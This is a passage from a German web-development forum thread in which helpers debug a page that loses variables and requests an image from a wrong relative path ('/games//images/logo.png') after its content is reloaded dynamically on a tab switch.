                Das Problem ist, dass sowas eine „erweitere Sorgfalt“ fordert und dass man sich beim kleinsten Fehler (z.B. beim Übertragen von Dateien) selbst durcheinanderbringt und wahnsinnig macht. Am Ende stellt man bekanntes und tausende Male selbst erprobtes Wissen in Frage, sucht den Fehler „sonstwo“. Das weiß jeder, der schon mal auf sich selbst hereingefallen ist. Ich also auch. Und zwar sehr genau.

  2. problematische Seite

    Wechselt man dann auf einen anderen Tab und wieder zurück, wird derselbe Inhalt dynamisch geladen. Dann werden die beiden oben genannten Variablen nicht mehr gefunden.

    Darunter kann man sich unmöglich etwas vorstellen.

    • Poste bitte die Fehlermeldungen aus dem Error-Log und den originalen Code.
    • Und was hat das Ganze mit JavaScript zu tun?
    1. problematische Seite

      Wechselt man dann auf einen anderen Tab und wieder zurück, wird derselbe Inhalt dynamisch geladen. Dann werden die beiden oben genannten Variablen nicht mehr gefunden.

      Darunter kann man sich unmöglich etwas vorstellen.

      • Poste bitte die Fehlermeldungen aus dem Error-Log und den originalen Code.
      • Und was hat das Ganze mit JavaScript zu tun?

      OK. Wenn Du in den „Tabs“ der Seite auf „Spiel“ wechselst taucht in der JS-Konsole die Meldung auf, dass

      • http://54598532.swh.strato-hosting.eu/games//images/logo.png

      nicht gefunden würde.

      Beim Neuladen der Seite ist es aber:

      • http://54598532.swh.strato-hosting.eu/games/demons-souls/images/logo.png

      Kommen wir zu dem, was da überhaupt geladen wird. Die Adresse der Seite ist:

      • http://54598532.swh.strato-hosting.eu/games/demons-souls/

      „Spiel“ ist aber mit einem Link zu

      • http://54598532.swh.strato-hosting.eu/games/demons-souls/game

      hinterlegt.

      Das Problem entsteht also entweder durch den Link oder auf dem Server (Rewriting, PHP, …). Und da können wir bisher nichts sehen - außer dem Output.

      >>> weiter